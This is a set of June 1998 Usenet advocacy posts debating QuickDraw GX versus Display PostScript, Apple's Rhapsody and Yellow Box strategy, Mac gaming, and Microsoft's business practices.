From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 11:05:21 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m2v5h$b7k$2@ns3.vrx.net>
References: <jdoherty-1306980119520001@aus-tx22-02.ix.netcom.com> <B1A80B05-45183@206.165.43.23>
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Cc: english@primenet.com
In <B1A80B05-45183@206.165.43.23> "Lawson English" claimed:
> GX (or parts thereof) is installed on far, FAR more computers than DPS/PS
> ever has been or ever will be.
Hmmm, Apple's (old) numbers are 20m machines and about 2% installation
rate. That's about 400k machines, and I'll bet dollars to donuts that number
has dropped significantly. On the other hand PS is in something on the order
of 30% of all laser printers, and likely a similar number of all Unix boxes.
So I'd say you're number is incorrect.
But obviously the "fact" that it's popular makes it good, right?
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 09:13:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AA95F9-192E9@206.165.43.126>
References: <laranzu-1606981950420001@dd192.spirit.net.au>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Hugh Fisher <laranzu@spirit.com.au> said:
> In May 1998, John Carmack wrote in his .plan file that he'd given
> up on Rhapsody as a platform due to Apple being clueless about 3D
> graphics...that, and the fact that every time he had a meeting
> scheduled with Apple, it got cancelled because the person he was
> supposed to meet would get laid off first.
>
> It's really easy to be an Apple cynic these days.
I'm as cynical about Macintosh USERS as I am about management. When Steve
Jobs claims that he has reduced attrition at Apple, every smiles and nods,
ignoring the fact that Apple was laying off 20% of its work-force every
year for the last 2 years. If you subtract 20% from the claimed 33%
attrition-rate that he said was the case, then you're left with 13%, which
is below the industry average.
Like duh: stop laying off workers (because there are none left to lay off
who aren't in mission-critical areas) and you can claim a MASSIVE drop in
attrition rate.
And everyone smiles and nods as though RDF has said something significant.
And you can even check my reasoning: if the 33% attrition rate was in
ADDITION TO the layoffs, that would mean that Apple lost/turned over 50% of
its workers last year and the year before.
I don't think so. No high-tech company can survive if 50% of its workers
are brand new every year.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 11:19:12 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m2vvg$b7k$4@ns3.vrx.net>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79>
<6lkh74$m9t$2@ironhorse.plsys.co.uk> <glenn-REMOVE-1406981206530001@rtbrain.vip.best.com>
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In <glenn-REMOVE-1406981206530001@rtbrain.vip.best.com> Glenn Reid claimed:
> * CodeWarrior beats the pants off the NeXTSTEP development
> environment. Not even a contest. It's faster, cleaner, the
> debugger is better; everything is great about it. If you've
> never used it, switch over to it immediately. I am not a
> stockholder :-)
Yup. Lots of nicities too, the class browser, the code "segmenting" view.
On the other hand you cannot discount entirely the use of GNU as the back
end, the code appears to be tighter.
> * NeXTSTEP's toolbox/API is much more mature than Apple's in some
> notable areas (user interfaces, etc: take a look at ResEdit and
> the Dialog Manager and prepare to be disgusted).
Yup. And localization - which I used to do for a living - is a completely
no-brainer.
> * InterfaceBuilder and the late binding of Objective C is light
> years ahead of Apple's interface strategy.
Although not far enough ahead IMHO. I'd like to see MUCH tighter linking
between code and IB, for instance when I update a header IB should know about
it and do the right thing.
> * Display PostScript is great. GX is great, too, but not very
> well integrated or supported.
Or understood. Let's not forget mindshare here. Still of DPS or GX I'd
rather have the later simply because of the was PS tends to make my mind warp
when I use it.
> * The MacOS file system API should be taken out and shot.
A lot of the MacOS should.
> * NeXTSTEP's concept of "file packages" is a great idea and should
> be absorbed immediately by others.
Yup.
> * When I left the NeXT community and went to program Macs, I
> braced myself for disappointment (I had done Mac stuff back
> in 85/86 but figured it hadn't improved much). It was no big
> deal. I was able to get real work done immediately
I picked up programming under OpenStep in 5 days. This would have been
impossible on the Mac IMHO.
> NeXTSTEP. If nothing else, the slowness of UNIX linkers is
> enough reason to switch. Sl-o-o-o-o-o-o-w, and you can't make
> even a very small change without linking.
Sadly the technology to allow that was never released.
Maury
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 14 Jun 1998 12:36:39 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1406981236390001@news-proxy.cso.uiuc.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca> <rmcassid-1006981118370001@dante.eng.uci.edu> <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca> <6lv2fo$jjf$1@nnrp1.dejanews.com> <*johnnyc*-1306982159170001@jchristie.halifaxcable.dal.ca> <6m09ua$eu4$1@nnrp1.dejanews.com>
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In article <6m09ua$eu4$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <*johnnyc*-1306982159170001@jchristie.halifaxcable.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
> > Apple has been known to abandon good technology. Jobs has not been
> > known to abandond his pet projects. Unless there is a terribly dire need
> > to get rid of them Jobs will hold onto his pet project no matter what. YB
> > is a pet project of his and he has previously stated that he thinks it is
> > great technology. Therefore, wherever you find Jobs you will probably
> > find this technology. You have to look at the people making the decisions
> > as well as the company.
>
> Jobs has already stopped comitting to Rhapsody beyond 1.0.
Err... Mac OS X. Remember?
> Presumably, Job's
> thinks that Rhapsody is great technology. But it is now cancelled.
Cancelled? When did this happen, hmmm?
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 11:01:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AAAF63-78B92@206.165.43.126>
References: <6m2vdu$b7k$3@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1A80CB0-4B5EE@206.165.43.23> "Lawson English" claimed:
>> Drawing to bitmaps doesn't provide resolution-independence.
>
> Correct, which is why it was stated that the new image model will use
>alpha's internally on all objects, not just composites.
But that STILL doesn't export them with resolution-independence to
EPS/PS/PDF. The only ways to do that are either by creating a bitmap
composite (which isn't resolution independent) or by creating a new set of
non-overlapping opaque shapes with colors equivalent to the original,
overlapping transparent shapes.
DPS can't do that. The new operators found in the Yellow Box CAN do that
and perhaps they automatically do it (a Very Good Thing), but that's not
DPS, nor even OpenStep + DPS. That's a new feature (if it exists) of Yellow
Box and maybe (just maybe) of QDe.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 15 Jun 1998 11:03:57 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1506981103570001@dante.eng.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu>
In article <rmcassid-1306980235180001@dialin33422.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
Sorry to follow up to my own post...
>Defeated. So they haven't banned it, have they? I suspect that virtually
>_anything_ has been proposed to be banned at one time or another. That's
>why we have state's representatives, people's representatives, and a
>system of checks and balances.
I learned yesterday that a bill was once introduced in Maine in the early
part of this century that would have made it illegal to add tomatoes to
clam chowder in that state. Defeated, of course.
So, yes, I continue to assert that virtually _anything_ has been proposed
to be banned at one time or another. That does not suggest that our system
of government is nessarily flawed. Now, if they had all passed, that'd be
a different matter...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: Sun, 14 Jun 1998 23:04:13 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1406982304150001@dialin9148.slip.uci.edu>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu> <6lpd91$5c5$1@news.digifix.com> <slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-1106982334500001@dialin9229.slip.uci.edu> <6lt53s$rkc$1@suriname.it.earthlink.net> <rmcassid-1306980246400001@dialin33422.slip.uci.edu> <6lvjto$pkm$1@bolivia.it.earthlink.net>
In article <6lvjto$pkm$1@bolivia.it.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
> If Microsoft follows through and implements XML with Office (as I think they
> will for totally selfish reasons :-) I think the activity in that camp will go
> into overdrive. I might even start liking Microsoft if they deliver XML to the
> rest of us.
I don't buy it. Either MS belives that Office is so far beyond the
competition that they can open up the file format (which betrays Bill's
admitted corporate paranoia) or they are feeding us a line. But if, by
some miracle, Office did use XML as the standard file format - then I
would agree with you.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: Sun, 14 Jun 1998 23:08:28 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1406982308290001@dialin9148.slip.uci.edu>
References: <slrn6o5ltt.tji.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1A87EB0-E684@206.165.43.172>
In article <B1A87EB0-E684@206.165.43.172>, "Lawson English"
<english@primenet.com> wrote:
> Rhapsody/MacOS X is a HUGE gamble.
Of course it is. What does Apple do that *isn't* a huge gamble? Hell,
they've been playing chicken with both Intel AND Microsoft for 10 years
now...
-Bob Cassidy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 13:36:08 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m3808$i04$1@ns3.vrx.net>
References: <6m2vdu$b7k$3@ns3.vrx.net> <B1AAAF63-78B92@206.165.43.126>
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In <B1AAAF63-78B92@206.165.43.126> "Lawson English" claimed:
> > Correct, which is why it was stated that the new image model will use
> >alpha's internally on all objects, not just composites.
>
> But that STILL doesn't export them with resolution-independence to
> EPS/PS/PDF.
Unless of course they make it do so via any number of possible solutions.
> DPS, nor even OpenStep + DPS. That's a new feature (if it exists) of
> Yellow Box and maybe (just maybe) of QDe.
Great! Can't wait to get it!
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 13:38:44 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m3854$i04$2@ns3.vrx.net>
References: <6m314s$b7k$7@ns3.vrx.net> <B1AAB07A-7CD2F@206.165.43.126>
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In <B1AAB07A-7CD2F@206.165.43.126> "Lawson English" claimed:
> Eh, it depends on how they work it. Unlike HyperTalk, QTI won't be always
> working in an interactive development environment, so you MAY be able to
> tokenize all variables instead of keeping them in text-strings.
... which is what AppleScript does, and we all know how well THAT performs!
Now sure, AS's and HT's issues are different (one is a OS problem, the other
a parsing problem) but I'll remain sceptical until I see it.
Maury
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 15 Jun 1998 04:59:32 -0400
Organization: BM
Message-ID: <6m2nh8$irr$3@bolivia.it.earthlink.net>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca>
<B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com>
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sanguish@digifix.com (Scott Anguish) wrote:
>Sorry Lawson, but YB is essential to a major money making
>beast at Apple, WebObjects..
I have yet to see anyone from Apple refute the assertion that WebObjects (a
$40-$50M operation) contributed about $2M of profit to Apple's bottom line in
the last two quarters.
For a $4 BILLION company with a product roster very much different than the
substance and focus of WebObject, that's not a "money making beast" vital to the
wellbeing of the corporation.
In that sense, though it would be a shame of the first order, WebObjects is
*not* immune to being dropped by Apple by any means.
Ziya
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 12:57:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AACAA1-22258@206.165.43.7>
References: <6m2cji$moo$2@supernews.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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John C. Randolph <jcr.remove@this.phrase.idiom.com> said:
>-> Where can I get Office for the Sony PlayStation? :)
>
>You can't. Intel would never stand for having the MIcroSquish apps
>available
>on a CPU that actually *performs.*
Actually, Sony Playstations aren't all that powerful. There's a nice 3D
chip or three in there, but from what I've seen, Macs with decent 3D
hardware blow Playstations out of hte water.
That rumored (very rumored) Playstation emulator would be very nice,
however. If iMac could run every Playstation game out-of-the-box, that
would be a HUGE selling point, I think.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: laranzu@spirit.com.au (Hugh Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 19:50:42 +1000
Organization: client service of Spirit Networks at http://www.spirit.net.au
Message-ID: <laranzu-1606981950420001@dd192.spirit.net.au>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com>
In article <slrn6o7p0o.sk2.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> I do. If Apple is going to make any serious in roads into the consumer
market,
> they are going to have to do something to promote the Mac as a game platform.
> The iMac is a nice start. Couple it with a half dozen new Mac game houses and
> you have a real consumer product.
[ snip a bit ]
> I do. And I think Steve Jobs would agree. He has talked about the need to
> get more games on the Mac at both Macworld and at the WWDC. He even went to
> E3 to lobby for Mac games.
Steve Jobs could try *listening* to some game developers.
In December 1996, just after Apple bought NeXT, John Carmack of Id
wrote in his .plan file that if Apple would ship Rhapsody with a
hardware accelerated OpenGL, he'd make it his primary development
platform. (OK, realities being what they are, Id would still be
shipping for Windows as well, but wouldn't it be great to see Quake
etc ship for Rhapsody at the same time instead of a year later?)
In May 1998, John Carmack wrote in his .plan file that he'd given
up on Rhapsody as a platform due to Apple being clueless about 3D
graphics...that, and the fact that every time he had a meeting
scheduled with Apple, it got cancelled because the person he was
supposed to meet would get laid off first.
It's really easy to be an Apple cynic these days.
Hugh
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Intel Vivisectors Probed By US FTC: Intel Scrutinized
Date: 12 Jun 98 09:58:42
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun12095842@slave.doubleu.com>
References: <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu>
<6loc6i$gk8$1@usenet11.supernews.com>
<joe.ragosta-1106980858050001@wil62.dol.net>
<35810D08.6308@stud.uni-erlangen.de>
In-reply-to: Matthias Bethke's message of Fri, 12 Jun 1998 13:12:08 +0200
In article <35810D08.6308@stud.uni-erlangen.de>,
Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de> writes:
Joe Ragosta wrote:
> > Now, if someone proposed using people who spam comp.sys.*
> > groups with political screeds in place of lab rats for drug
> > testing, I'd wholeheartedly concur.
>
> Concur???
>
> I'd fund the research.
In that case I'll volunteer to take the place of a rat in a program
for evaluating possible uses of marihuana and hallucinogens. Please
send me a researcher and a couple of doses! =^>>>
You _do_ realize, don't you, that these programs generally don't give
the rats enjoyable amounts of the substances involved. For instance,
when researching the effects of peanut butter, they don't feed them a
slice of toast with some peanut butter on it for breakfast - instead,
they feed them peanut butter, and _only_ peanut butter, for weeks
and/or months.
You need to have _some_ normal time to reflect back on your altered
states...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 13:40:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m3886$i04$3@ns3.vrx.net>
References: <6m2v5h$b7k$2@ns3.vrx.net> <B1AAAE85-75770@206.165.43.126>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
In <B1AAAE85-75770@206.165.43.126> "Lawson English" claimed:
> " The GX graphics portion of GX (sans bitmaps,
> currently, I believe) is the basis of QuickTime Vector Graphics and is
> available on WIndows, MacOS, Rahpsody, and probably on SGI and Solaris
> machines also."
And PS graphics is the basis of an entire industry. There's no point here
Lawson. The fact that Apple uses some GX-like system in QT means nothing
other than Apple still has NIH.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.atari.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Intel Vivisectors Probed By US FTC: Intel Scrutinized
Date: 15 Jun 1998 13:43:46 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m38ei$i04$4@ns3.vrx.net>
References: <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu> <6lo7v8$ke5$1@ns3.vrx.net>
<stone-ya02408000R1206980004330001@news.enetis.net>
Mime-Version: 1.0
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Cc: stone@stoneentertainment.com
In <stone-ya02408000R1206980004330001@news.enetis.net> Kevin Stone claimed:
> Wait a second... Is Intel accused of these things by the FTC or by
> individual "liberal wacko" groups?
The later, although calling them "liberal" likely has not much to do with
it.
> the FTC investigation then it has nothing to do with what Intel is formaly
> accused of.
Correct, that's what I was pointing out had you bothered to actually digest
the content of the message before replying. Nor does it appear you could be
bothered to read the whole thread, because the _first message_ was posted in
exactly this fashion, which is what I was "making fun" or.
> I just don't want to let FUDster's like Markowitz
Gee, thanks.
Maury
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu>
Message-ID: <35856fd0.0@news.depaul.edu>
Date: 15 Jun 98 19:02:40 GMT
In comp.sys.next.advocacy Robert Cassidy <rmcassid@uci.edu> wrote:
> I learned yesterday that a bill was once introduced in Maine in the early
> part of this century that would have made it illegal to add tomatoes to
> clam chowder in that state. Defeated, of course.
> So, yes, I continue to assert that virtually _anything_ has been proposed
> to be banned at one time or another. That does not suggest that our system
> of government is nessarily flawed. Now, if they had all passed, that'd be
> a different matter...
I'd guess there are whole books about silly laws. Many of the really old
ones are still on the books.
I don't see this as being a real flaw though, since they were probably
supported at the time, then forgotten.
A real flaw in our system of government is the way Congress slips sleazy
little special-interest riders into completely unrelated bills. For
which they're paid handsomely, of course.
--
"... and subpoenas for all." - Ken Starr
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 15 Jun 1998 19:09:40 GMT
Organization: VHA Inc.
Message-ID: <01bd9891$3b097f80$8383050a@bgravitt.CORP.VHA.COM>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <6lrj05$hlm$16@gte1.gte.net> <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM> <6m3272$s38$21@news-1.news.gte.net>
Roger <roger@.> wrote in article <6m3272$s38$21@news-1.news.gte.net>...
> On 12 Jun 1998 21:05:00 GMT, someone claiming to be VHA PC Development
> wrote:
>
> >Roger <roger@.> wrote in article <6lrj05$hlm$16@gte1.gte.net>...
>
> >> On 10 Jun 1998 18:17:17 GMT, someone claiming to be VHA PC Development
> >> wrote:
>
> >> >Tim Hawkins <TimHawkins@email.msn.com> wrote in article
> >> ><uWKsMaFl9GA.268@upnetnews02.moswest.msn.net>...
>
> >> >> jedi wrote in message ...
>
> >> >> >On 28 May 1998 18:40:21 -0600, Craig Kelley <ink@inconnu.isu.edu>
> >wrote:
>
> >> >> >>In article <6kkgk9$2h7$2@gte1.gte.net>, Roger <rfelts@.> wrote:
>
> >> >> But not nearly so flexible, the IE HTML rendering engine, not only
> >> >exposes
> >> >> the interfaces that allow instaniation of a rendering
> >> >> view inside your app, and external navigation controls so you can
fill
> >it
>
> >> >Your use of the word flexible is curious. Flexible, in my book,
means
> >that
> >> >it'll bend. i.e. It's not cast in stone and unchangeable by someone
> >other
> >> >than the one who created it. Try to use undocumented interfaces
without
> >> >paying a toll to the Microsoft troll and you may be facing legal
action;
> >> >curious when I hear that MS is using those same undocumented
interfaces
> >> >freely in their own apps.
>
> >> And can you back up that using an undocumented interface with out
> >> payment to MS leads to legal action, and that MS apps freely use
> >> these?
>
> >The suit between Stac and Microsoft is a precedent setting event.
>
> This was an interface in MS-DOS, used by MS-DOS. Your assertion is
> that MS * apps * use these.
>
Microsoft apps do use undocumented interfaces and hooks like these. What
do you think Doublespace or Drivespace did in the same situation? I got
it! Maybe when they copied allot of Stac's stuff they also copied the
*illegal* function call that loaded Stac prior to calling CONFIG.SYS!
> >> >Somebody post an example.
>
> >> Someone posted two examples, hardly enough to call a trend.
>
> >If they do it at all then they do it. Right?
>
> No. The assertion was "freely." Were it that common, there would be
> more than two rather weak examples.
>
I reiterate that if they use undocumented interfaces at all then they are
not competing with their competitors on a level playing field. Is this a
grey area for you? It's OK for Microsoft to use interfaces and functions
in their application software that only they know about? Talk about
stacking the odds in their favor - sheesh!
> >> >Also, IE's being
> >> >integrated as a *service* gives Microsoft nearly complete control
over
> >the
> >> >casual user's internet experience effectively shutting out any
> >competition.
>
> >> Why? One can still use NS, Opera, Lynx, whatever.
>
> >If they have heard of them - the new user nowadays is part of a captive
> >audience though. Only when they have had a little experience do they
see
> >what the real picture is. The point is that Netscape was highly visible
> >before Microsoft had their visibility nearly extiquished. If you don't
> >play ball with Microsoft you're gonna get squashed! That kind of power
is
> >tyranny to me.
>
> But the assertion was that MS was ... shutting out the competition.
> Your statement that when they get some experience users find out about
> NS would tend to rebut that. Or do you contend that MS is actively
> suppressing the accumulation of such experience?
>
Most new computer users are inexperienced; the concepts go hand in hand.
Meaning that a great many of computer users today are new users and will be
inexperienced for quite a while yet. As such, they are being indoctrinated
into Windows exclusively and not being allowed the chance to know that
there is anything different. I was one of these people at one time.
As for MS actively suppressing the accumulation of experience and
competition... When viewed in the full light of day without all the cheap
rhetoric of fearful Windows advocates afraid that they'll have their game
machines taken away, the facts still stand. (LINUXer's play games too.)
Microsoft is using lots of money to buy support for their operating system
just like a candidate for office with lots of money for advertising
typically wins over the less financially capable candidate. However, every
once in a while a contender with powerful ambitions and impeccable
integrity comes along and dethrones the incumbent. Microsoft was going
around and telling the Internet Content Providers that they had to play
ball. Take the Netscape Now buttons off your webpages and REPLACE them
with IE buttons and we'll pay you. ISP's were given similar disincentives
to resist like: Play ball with Microsoft and we'll put you in our ICW and
if they resisted, they they would offer them money - lots of it. Microsoft
even played a version of Spain and Portugal dividing the world between them
during the colonial period in which Netscape refused to surrender the
Windows market to MS. MS then bought rights to Mosaic, modified it and
changed it's name to IE, finally giving it away for free. When they
couldn't make any more inroads to Netscape's marketshare, they had to
resort to illegal activities of which they are now being prosecuted for.
I'd say that Netscape is just the tip of the iceberg.
> And NS is hardly extinguished. They still own > 50 of the market.
>
Because they are a vital (not willing to lay down and die) company not
because Microsoft is guiltless.
> >> > Yes, it may be easier for you as a developer (that's for you to
decide)
> >> >but just remember, almost all your technology comes from one place -
> >> >Microsoft yet there is a whole world outside of Redmond, WA for LINUX
to
> >> >benefit from.
>
> >> Yeah, and those pesky file dialogs all come from them too. But wait:
> >> a developer could write their own dialogs, if they wanted. So it's
> >> not the same thing.
>
> >Which puts you OUTSIDE of Redmond most likely.
>
> Huh?
You being outside of Redmond is a figure of speech. You are not part of
Microsoft are you? If not then you are little fish to be fried someday.
>
> >> But wait: a developer could write their own code to render HTML in
> >> their app, if they wanted, too. Guess it is...
>
> >The point is NOT whether someone could write their own code - the
> >developers of LINUX did that; the point is that as developers get
locked
> >into Microsoft solutions then their codebase is largely limited to
> >Microsoft and to a lesser extent, compatible operating systems.
>
> Yeah, and if you develop for MacOS, you're limited to that market.
> Except that the Windows market is far bigger, so your chances are
> better there.
>
Exactly why MacOS is so limited in what is available in third-party
software. What software there is is VERY good but not enough of it. Apple
just didn't advertise like Microsoft did also cost allot more. There are
versions of LINUX for just about every hunk of computer hardware in
existence - programs are nearly all crossplatform and those that aren't are
pretty easily modified meaning LINUX is the operating system for the world
rather than just the US Apple users can get LINUX and install it, i386,
SPARC, Alpha, etc... etc...etc... You as a developer should be able to see
the potential for future profit that LINUX can afford you in cross platform
availability - before you know it, all flavors of UNIX not just LINUX will
be enjoying the common multimedia capabilities now available on LINUX.
> >> >Evidently, you wont be able to get very far developing applications
from
> >> >now on (in Windows) without using Microsoft's proprietary development
> >> >environments or buying their software development kits now will you.
>
> >> Why do you think this?
>
> >Other vendors are being pushed out or backed into a corner. Take
> >Borland/Inprise for example; they used to be the major player in
compilers
